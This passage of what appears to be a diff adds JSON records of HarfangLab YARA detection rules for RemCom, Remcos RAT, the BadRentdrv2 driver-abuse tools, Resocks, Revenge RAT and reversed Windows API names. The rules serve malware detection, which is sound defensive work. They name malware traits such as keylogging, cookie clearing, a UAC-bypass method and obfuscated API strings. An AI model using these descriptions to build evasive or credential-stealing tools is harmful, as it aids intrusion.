\"D:\\\\task\\\\remcom_code\\\\rmp\\\\remcom_1_2\\\\RemComSvc\\\\Release\\\\RemComSvc.pdb\" ascii fullword\n        $e3 = \"RemComSvc Invoked for UEMS Agent Installation\" ascii fullword\n\n    condition:\n        (uint16(0) == 0x5a4d) and filesize < 500KB and all of ($s*)\n        and not\n        (\n            (\n                // 7f8e465edd27cdcd1d28292c35440d745b8bd528e21d6f56eb683b65d922eaed\n                2 of ($e*) and\n                filepath == \"C:\\\\Windows\\\\RemComSvc.exe\"\n            )\n            or\n            (\n                // 850a3b0da11557a3ff567efdb4452161419b0fbb8bd4aa18fc4dc79990a3aeb5\n                2 of ($e*) and\n                pe.number_of_signatures == 1 and\n                pe.signatures[0].subject == \"/C=IN/ST=Tamil Nadu/L=Chennai/O=ZOHO Corporation Private Limited/CN=ZOHO Corporation Private Limited\" and\n                filepath == \"C:\\\\Windows\\\\SysWOW64\\\\RemComSvc.exe\"\n            )\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "remcom"
+  ],
+  "rule_creation_date": "2021-05-26",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.RemCom"
+  ],
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1569.002",
+    "attack.t1570"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-remcos_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568759Z",
+  "creation_date": "2026-03-23T11:46:25.568783Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568789Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos\nhttps://cyble.com/blog/threat-actor-employs-powershell-backed-steganography-in-recent-spam-campaigns/"
+  ],
+  "name": "remcos.yar",
+  "content": "rule remcos {\n    meta:\n        title = \"Remcos Rat\"\n        id = \"0c692d20-ad86-4637-9844-6a83c8df311b\"\n        description = \"Detects Remcos (Remote Control & Surveillance Software), a commercial Remote Access Tool (RAT) used to remotely control computers.\\nRemcos has been widely used in malicious campaigns by threat actors and is often linked to phishing attacks.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos\\nhttps://cyble.com/blog/threat-actor-employs-powershell-backed-steganography-in-recent-spam-campaigns/\"\n        date = \"2023-09-27\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.defense_evasion;attack.t1548.002;attack.collection;attack.credential_access;attack.t1056.001;attack.command_and_control;attack.t1573.001\"\n        classification = \"Windows.Trojan.Remcos\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 453864da0004d5541e43217b9e87a1794d3ca2d5beaaff01646b6574bdfddfe0\n\n        $s1 = \"Remcos Agent initialized\" ascii fullword\n        $s2 = \"Remcos restarted by watchdog!\" ascii fullword\n        $s3 = \"[+] ucmCMLuaUtilShellExecMethod\" ascii fullword\n        $s4 = \"Keylogger initialization failure: error\" ascii fullword\n        $s5 = \"[Chrome Cookies found, cleared!]\" ascii fullword\n\n    condition:\n        3 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "remcos"
+  ],
+  "rule_creation_date": "2023-09-27",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.Remcos"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1056.001",
+    "attack.t1548.002",
+    "attack.t1573.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-rentdrv2_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581599Z",
+  "creation_date": "2026-03-23T11:46:25.581601Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581606Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/BlackSnufkin/GhostDriver/\nhttps://github.com/keowu/BadRentdrv2/\nhttps://www.loldrivers.io/drivers/afb8bb46-1d13-407d-9866-1daa7c82ca63/\nhttps://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "rentdrv2.yar",
+  "content": "rule ghostdriver_badrentdrv2_killer {\n    meta:\n        title = \"GhostDriver and BadRentdrv2 HackTools\"\n        id = \"4d095aee-5c41-499d-b9ee-e5ee612e2793\"\n        description = \"Detects the GhostDriver and BadRentdrv2 hacktools.\\nTGhostDriver and BadRentdrv2 load the rentdrv2.sys vulnerable driver and use it to terminate protected processes.\\nIt is recommended to investigate the process responsible for the execution of these tools and to isolate infected systems.\"\n        references = \"https://github.com/BlackSnufkin/GhostDriver/\\nhttps://github.com/keowu/BadRentdrv2/\\nhttps://www.loldrivers.io/drivers/afb8bb46-1d13-407d-9866-1daa7c82ca63/\\nhttps://attack.mitre.org/techniques/T1562/001/\"\n        date = \"2024-02-21\"\n        modified = \"2025-03-05\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001;attack.t1211\"\n        classification = \"Windows.HackTool.BadRentdrv2\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // a1bd6ea04a84446697ef2a75f0752345e8977bd82e09eedc647f2abd70d41651\n        // a9e588c596095ac27e5244541c0e20ff4e483b838f0e57859dac1a6a84aeff59\n\n        $device = \"\\\\\\\\.\\\\rentdrv2\" wide ascii\n        $winapi_01 = \"CreateFile\" wide ascii\n        $winapi_02 = \"DeviceIoControl\" wide ascii\n        $winapi_03 = \"OpenSCManager\" wide ascii\n        $winapi_04 = \"OpenService\" wide ascii\n        $winapi_05 = \"StartService\" wide ascii\n        $winapi_06 = \"CreateService\" wide ascii\n        $ioctl_kill = { (22 E0 10|10 E0 22) }\n\n    condition:\n        all of them\n\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ghostdriver_badrentdrv2_killer"
+  ],
+  "rule_creation_date": "2024-02-21",
+  "rule_modified_date": "2025-03-05",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.BadRentdrv2"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1211"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-resocks_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571256Z",
+  "creation_date": "2026-03-23T11:46:25.571258Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571264Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/RedTeamPentesting/resocks"
+  ],
+  "name": "resocks.yar",
+  "content": "rule resocks {\n    meta:\n        title = \"Resocks Tool\"\n        id = \"5ab1a56f-96e9-4f22-bee9-a5584ce995b9\"\n        description = \"Detects Resocks, a reverse/back-connect SOCKS5 proxy tunnel that can be used to route traffic through a system that can't be directly accessed (e.g. due to NAT).\\nIt allows establishing a connection from a restricted environment to an external server, enabling lateral movement and communication.\\nIt is recommended to investigate the execution context as well as surrounding detections to determine the usage of this tool is legitimate.\"\n        references = \"https://github.com/RedTeamPentesting/resocks\"\n        date = \"2023-06-12\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001;attack.t1572\"\n        classification = \"Windows.Tool.Resocks\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 23442ac9a69f05a58743b59cef324f9658dc2181f448eb03bb2a910d88ac930f\n\n        $repo = \"github.com/RedTeamPentesting/resocks\" ascii\n\n        $s1 = \"crypto/tls.(*clientHelloMsg).marshal.func\" ascii\n        $s2 = \"proxyrelay.RunRelayWithEventCallback.func1\" ascii\n        $s3 = \"/kbtls.ClientTLSConfigForClientName\" ascii\n        $s4 = \"Configures a static connection key instead of generating a key (default can be set\" ascii\n        $s5 = \"AnyClientCertVerifyClientCertIfGivenRequireAndVerifyClientCertcipher\" ascii\n\n    condition:\n        uint16(0) == 0x5a4d and ($repo or 4 of ($s*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "resocks"
+  ],
+  "rule_creation_date": "2023-06-12",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.Resocks"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1572",
+    "attack.t1071.001"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-revengerat_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568728Z",
+  "creation_date": "2026-03-23T11:46:25.568730Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568736Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.revenge_rat\nhttps://attack.mitre.org/software/S0379/"
+  ],
+  "name": "revengerat.yar",
+  "content": "rule revenge_rat {\n    meta:\n        title = \"Revenge RAT\"\n        id = \"adbebeba-f042-4277-9835-c04603e42747\"\n        description = \"Detects Revenge RAT, a freely available remote access tool written in .NET.\\nRevenge RAT is a remote access tool that provides attackers with remote control capabilities over a compromised system. It is known to gather system information, maintain persistence, and perform remote execution of commands.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.revenge_rat\\nhttps://attack.mitre.org/software/S0379/\"\n        date = \"2024-06-12\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0379;attack.discovery;attack.t1082;attack.command_and_control;attack.t1132.001;attack.t1105;attack.t1102.002\"\n        classification = \"Windows.Trojan.RevengeRAT\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 340f4a7db0024413428f3663d06af5d5b430a2dadc8931a8b6c75b650e951f69\n        // 011d513517baf505a49e5f051b18d5dcb0f8a2c9a53c778a2ffffab931572b97\n        // 17a97f5698f2f19b4b43dc985193f734f8146c83d73daf853df9506f58b696b3\n        // f89e0e38e38cd6df4720703d2b8b3d2217b25a60e845ec6bbd4a4a45919babb7\n\n        $lime1 = \"Lime.Connection\" ascii fullword\n        $lime2 = \"IdGenerator\" ascii fullword\n        $lime4 = \"Lime.Helper\" ascii fullword\n        $lime3 = \"EXECUTION_STATE\" ascii fullword\n        $lime5 = \"Lime.NativeMethods\" ascii fullword\n        $lime6 = \"PacketHandler\" ascii fullword\n\n        $a1 = \"keepAlivePing!\" wide fullword\n        $a2 = \"Select * from AntiVirusProduct\" wide fullword\n        $a3 = \"SELECT * FROM FirewallProduct\" wide fullword\n        $a4 = \"select * from Win32_Processor\" wide fullword\n        $a5 = \"HKEY_LOCAL_MACHINE\\\\HARDWARE\\\\DESCRIPTION\\\\SYSTEM\\\\CENTRALPROCESSOR\\\\0\" wide fullword\n\n        $b1 = \"PreventSleep\" ascii fullword\n        $b2 = \"SendInfo\" ascii fullword\n        $b3 = \"GetHardDiskSerialNumber\" ascii fullword\n        $b4 = \"GetCamera\" ascii fullword\n        $b5 = \"ES_DISPLAY_REQUIRED\" ascii fullword\n        $b6 = \"StringBuilder\" ascii fullword\n        $b7 = \"capGetDriverDescriptionA\" ascii fullword\n\n        $rat = \"Revenge-RAT\" wide fullword\n\n    condition:\n        5 of ($lime*) or\n        all of ($a*) or\n        all of ($b*) or\n        ($rat and (3 of ($lime*) or 3 of ($a*) or 3 of ($b*)))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "revenge_rat"
+  ],
+  "rule_creation_date": "2024-06-12",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.RevengeRAT"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1132.001",
+    "attack.t1102.002",
+    "attack.t1105",
+    "attack.t1082"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-reverse_api_name_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563745Z",
+  "creation_date": "2026-03-23T11:46:25.563747Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563753Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "Internal research"
+  ],
+  "name": "reverse_api_name.yar",
+  "content": "rule reversed_api_name {\n    meta:\n        title = \"Reversed Windows API Name\"\n        id = \"dff40640-c158-4479-a2ab-4f0604717ed8\"\n        description = \"Detects reversed Windows API/DLL names used by malware.\\nMalware developers often reverse API/DLL names to bypass static analysis by antivirus/EDR solutions.\\nThese reversed names are restored in memory when needed to call functions like GetProcAddress or LoadLibrary.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"Internal research\"\n        date = \"2024-07-09\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027;attack.t1027.013;attack.t1027.007\"\n        classification = \"Windows.Generic.ReversedAPINameWide\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 70\n        confidence = \"moderate\"\n\n    strings:\n        // Detection for these samples:\n        // ad408fa674752071e462d0793a8694e8800d91d18a0aba17a8c2ad6e5e75\n        // d9b12f2e4b080fabbdb4149d7f75b09d643ce1b9a9e2a3df79d7328aa423\n        // 839018975d80565f9835e0515621052ecacd0e34cc67bb5a0fa006418106\n\n        $s_function_0 = \"23eludoM\" ascii wide\n        $s_function_1 = \"AegasseMhctapsiD\" ascii wide\n        $s_function_2 = \"AegasseMteG\" ascii wide\n        $s_function_3 = \"AelbairaVtnemnorivnEteS\" ascii wide\n        $s_function_4 = \"AemaNretupmoCteG\" ascii wide\n        $s_function_5 = \"AgnirtSoTyraniBtpyrC\" ascii wide\n        $s_function_6 = \"AmunEnepOteNW\" ascii wide\n        $s_function_7 = \"Anelrtsl\" ascii wide\n        $s_function_8 = \"AnepOtenretnI\" ascii wide\n        $s_function_9 = \"AnoitamrofnIemuloVteG\" ascii wide\n        $s_function_10 = \"AsetubirttAeliFteG\" ascii wide\n        $s_function_11 = \"ataDdraobpilCteG\" ascii wide\n        $s_function_12 = \"ataDdraobpilCteS\" ascii wide\n        $s_function_13 = \"ataDtupnIwaRteG\" ascii wide\n        $s_function_14 = \"AtcennoCtenretnI\" ascii wide\n        $s_function_15 = \"AtseuqeRdnEpttH\" ascii wide\n        $s_function_16 = \"AtseuqeRnepOpttH\" ascii wide\n        $s_function_17 = \"AxEtseuqeRdneSpttH\" ascii wide\n        $s_function_18 = \"AyraniBoTgnirtStpyrC\" ascii wide\n        $s_function_19 = \"cexEniW\" ascii wide\n        $s_function_20 = \"collAeRpaeH\" ascii wide\n        $s_function_21 = \"collAlabolG\" ascii wide\n        $s_function_22 = \"collAlacoL\" ascii wide\n        $s_function_23 = \"collAlautriV\" ascii wide\n        $s_function_24 = \"collApaeH\" ascii wide\n        $s_function_25 = \"corPwodniWllaC\" ascii wide\n        $s_function_26 = \"cpAeueuQtresnIeK\" ascii wide\n        $s_function_27 = \"CPAresUeueuQ\" ascii wide\n        $s_function_28 = \"daerhTcpAeueuQ\" ascii wide\n        $s_function_29 = \"daerhTdnepsuS\" ascii wide\n        $s_function_30 = \"daerhTemuseR\" ascii wide\n        $s_function_31 = \"daerhTetaerC\" ascii wide\n        $s_function_32 = \"daerhTetanimreT\" ascii wide\n        $s_function_33 = \"daerhTetomeRetaerC\" ascii wide\n        $s_function_34 = \"daerhTnepO\" ascii wide\n        $s_function_35 = \"daerhTnoitamrofnIteS\" ascii wide\n        $s_function_36 = \"daerhTteG\" ascii wide\n        $s_function_37 = \"daerhTteS\" ascii wide\n        $s_function_38 = \"daerhTtxetnoCteS\" ascii wide\n        $s_function_39 = \"daoLgeR\" ascii wide\n        $s_function_40 = \"daolnwoDLRU\" ascii wide\n        $s_function_41 = \"draobpilCnepO\" ascii wide\n        $s_function_42 = \"ecivreSetaerC\" ascii wide\n        $s_function_43 = \"ecivreSeteleD\" ascii wide\n        $s_function_44 = \"ecivreSlortnoC\" ascii wide\n        $s_function_45 = \"ecivreSnepO\" ascii wide\n        $s_function_46 = \"ecivreStratS\" ascii wide\n        $s_function_47 = \"ecruoseRdaoL\" ascii wide\n        $s_function_48 = \"ecruoseRdniF\" ascii wide\n        $s_function_49 = \"ecruoseRfOeziS\" ascii wide\n        $s_function_50 = \"ecruoseRkcoL\" ascii wide\n        $s_function_51 = \"ecruoseRmunEteNW\" ascii wide\n        $s_function_52 = \"edoMrorrEteS\" ascii wide\n        $s_function_53 = \"eerFpaeH\" ascii wide\n        $s_function_54 = \"egasseMdaerhTtsoP\" ascii wide\n        $s_function_55 = \"egasseMdneS\" ascii wide\n        $s_function_56 = \"egasseMetalsnarT\" ascii wide\n        $s_function_57 = \"egasseMkeeP\" ascii wide\n        $s_function_58 = \"egasseMtsoP\" ascii wide\n        $s_function_59 = \"egasseMyfitoNdneS\" ascii wide\n        $s_function_60 = \"elbaliavAataDyreuQtenretnI\" ascii wide\n        $s_function_61 = \"elbaTteNpIteG\" ascii wide\n        $s_function_62 = \"eldnaHesolC\" ascii wide\n        $s_function_63 = \"eldnaHesolCtenretnI\" ascii wide\n        $s_function_64 = \"eliFdaeR\" ascii wide\n        $s_function_65 = \"eliFdaeRtenretnI\" ascii wide\n        $s_function_66 = \"eliFetaerC\" ascii wide\n        $s_function_67 = \"eliFeteleD\" ascii wide\n        $s_function_68 = \"eliFetirW\" ascii wide\n        $s_function_69 = \"eliFetirWtenretnI\" ascii wide\n        $s_function_70 = \"eliFevoM\" ascii wide\n        $s_function_71 = \"eliFfOweiVpaM\" ascii wide\n        $s_function_72 = \"eliFfOweiVpamnU\" ascii wide\n        $s_function_73 = \"eliFteS\" ascii wide\n        $s_function_74 = \"eliFtuPptF\" ascii wide\n        $s_function_75 = \"eludoMteG\" ascii wide\n        $s_function_76 = \"emaNresUteG\" ascii wide\n        $s_function_77 = \"emaNretupmoCteG\" ascii wide\n        $s_function_78 = \"emaNtnuoccApukooL\" ascii wide\n        $s_function_79 = \"emantsohteG\" ascii wide\n        $s_function_80 = \"emanybtsohteG\" ascii wide\n        $s_function_81 = \"emiTteGemiT\" ascii wide\n        $s_function_82 = \"epiPdemaNkeeP\" ascii wide\n        $s_function_83 = \"epiPdemaNtcennoC\" ascii wide\n        $s_function_84 = \"epiPetaerC\" ascii wide\n        $s_function_85 = \"epyTevirDteG\" ascii wide\n        $s_function_86 = \"erahSteN\" ascii wide\n        $s_function_87 = \"esolCdniF\" ascii wide\n        $s_function_88 = \"etaerCpaeH\" ascii wide\n        $s_function_89 = \"etatSdetcennoCteGtenretnI\" ascii wide\n        $s_function_90 = \"etatSdraobyeKteG\" ascii wide\n        $s_function_91 = \"etatSyeKcnysAteG\" ascii wide\n        $s_function_92 = \"etatSyeKteG\" ascii wide\n        $s_function_93 = \"eteleDgeR\" ascii wide\n        $s_function_94 = \"etucexEllehS\" ascii wide\n        $s_function_95 = \"eulaVegelivirPpukooL\" ascii wide\n        $s_function_96 = \"eulaVmunEgeR\" ascii wide\n        $s_function_97 = \"eulaVtnemnorivnEmetsySteS\" ascii wide\n        $s_function_98 = \"eulaVtnemnorivnEmetsySyreuQ\" ascii wide\n        $s_function_99 = \"evaSgeR\" ascii wide\n        $s_function_100 = \"ftnirpwns_\" ascii wide\n        $s_function_101 = \"gnippaMeliFnepO\" ascii wide\n        $s_function_102 = \"gnirtSgubeDtuptuO\" ascii wide\n        $s_function_103 = \"gnirtSmorFdiuU\" ascii wide\n        $s_function_104 = \"htaPhcraeS\" ascii wide\n        $s_function_105 = \"kooHswodniWkoohnU\" ascii wide\n        $s_function_106 = \"kooHtnevEniWteS\" ascii wide\n        $s_function_107 = \"lacigoLteG\" ascii wide\n        $s_function_108 = \"lacitirCsIssecorPteSltR\" ascii wide\n        $s_function_109 = \"llDdaoLrdL\" ascii wide\n        $s_function_110 = \"lortnoCoIeciveD\" ascii wide\n        $s_function_111 = \"ltcoIASW\" ascii wide\n        $s_function_112 = \"maraPyeKteStpyrC\" ascii wide\n        $s_function_113 = \"metsySnwodtuhS\" ascii wide\n        $s_function_114 = \"metsySteG\" ascii wide\n        $s_function_115 = \"modnaRneGtpyrC\" ascii wide\n        $s_function_116 = \"munEesolCteNW\" ascii wide\n        $s_function_117 = \"nekoTetacilpuD\" ascii wide\n        $s_function_118 = \"nekoTsegelivirPtsujdA\" ascii wide\n        $s_function_119 = \"nepOgeR\" ascii wide\n        $s_function_120 = \"nepOLRU\" ascii wide\n        $s_function_121 = \"noisreVteG\" ascii wide\n        $s_function_122 = \"noisreVteGltR\" ascii wide\n        $s_function_123 = \"noitcennoCddAteNW\" ascii wide\n        $s_function_124 = \"noitceSetaerC\" ascii wide\n        $s_function_125 = \"noitceSfOweiVpaM\" ascii wide\n        $s_function_126 = \"noitceSfOweiVpamnU\" ascii wide\n        $s_function_127 = \"noitucexEyaleD\" ascii wide\n        $s_function_128 = \"nS23plehlooTetaerC\" ascii wide\n        $s_function_129 = \"ofnImetsySevitaNteG\" ascii wide\n        $s_function_130 = \"ohcEdneSpmcI\" ascii wide\n        $s_function_131 = \"paeHetaerCltR\" ascii wide\n        $s_function_132 = \"paeHssecorPteG\" ascii wide\n        $s_function_133 = \"pmeTteG\" ascii wide\n        $s_function_134 = \"porPteS\" ascii wide\n        $s_function_135 = \"punaelCASW\" ascii wide\n        $s_function_136 = \"putratSASW\" ascii wide\n        $s_function_137 = \"rdda_tenI\" ascii wide\n        $s_function_138 = \"reganaMCSnepO\" ascii wide\n        $s_function_139 = \"remiTelbatiaWetaerC\" ascii wide\n        $s_function_140 = \"remiTelbatiaWteS\" ascii wide\n        $s_function_141 = \"remiTeueuQremiTetaerC\" ascii wide\n        $s_function_142 = \"remiTteS\" ascii wide\n        $s_function_143 = \"resUnOdeggoLetanosrepmI\" ascii wide\n        $s_function_144 = \"retnuoCecnamrofrePyreuQ\" ascii wide\n        $s_function_145 = \"rorrEtsaLteG\" ascii wide\n        $s_function_146 = \"seciveDtupnIwaRretsigeR\" ascii wide\n        $s_function_147 = \"segelivirPnekoTtsujdA\" ascii wide\n        $s_function_148 = \"selacoLmetsySmunE\" ascii wide\n        $s_function_149 = \"sepyTecruoseRmunE\" ascii wide\n        $s_function_150 = \"sredaeHtseuqeRddApttH\" ascii wide\n        $s_function_151 = \"srevirDeciveDmunE\" ascii wide\n        $s_function_152 = \"ssecorPdnepsuS\" ascii wide\n        $s_function_153 = \"ssecorPemuseR\" ascii wide\n        $s_function_154 = \"ssecorPetaerC\" ascii wide\n        $s_function_155 = \"ssecorPetanimreT\" ascii wide\n        $s_function_156 = \"ssecorPmunE\" ascii wide\n        $s_function_157 = \"ssecorPnepO\" ascii wide\n        $s_function_158 = \"ssecorPnoitamrofnIteS\" ascii wide\n        $s_function_159 = \"ssecorPnoitamrofnIyreuQ\" ascii wide\n        $s_function_160 = \"ssecorPresUetaerC\" ascii wide\n        $s_function_161 = \"ssecorPteG\" ascii wide\n        $s_function_162 = \"sserddAcorPteG\" ascii wide\n        $s_function_163 = \"stcejbOelpitluMroFtiaW\" ascii wide\n        $s_function_164 = \"stsixEeliFhtaP\" ascii wide\n        $s_function_165 = \"swodniWmunE\" ascii wide\n        $s_function_166 = \"swodniWpotkseDmunE\" ascii wide\n        $s_function_167 = \"tcejbOelgniSroFtiaW\" ascii wide\n        $s_function_168 = \"tcennoC\" ascii wide\n        $s_function_169 = \"tcetorPlautriV\" ascii wide\n        $s_function_172 = \"tekcoSASW\" ascii wide\n        $s_function_173 = \"tekcosltcoi\" ascii wide\n        $s_function_174 = \"tenretnI\" ascii wide\n        $s_function_176 = \"tlBhctertS\" ascii wide\n        $s_function_177 = \"tneserPreggubeDetomeRkcehC\" ascii wide\n        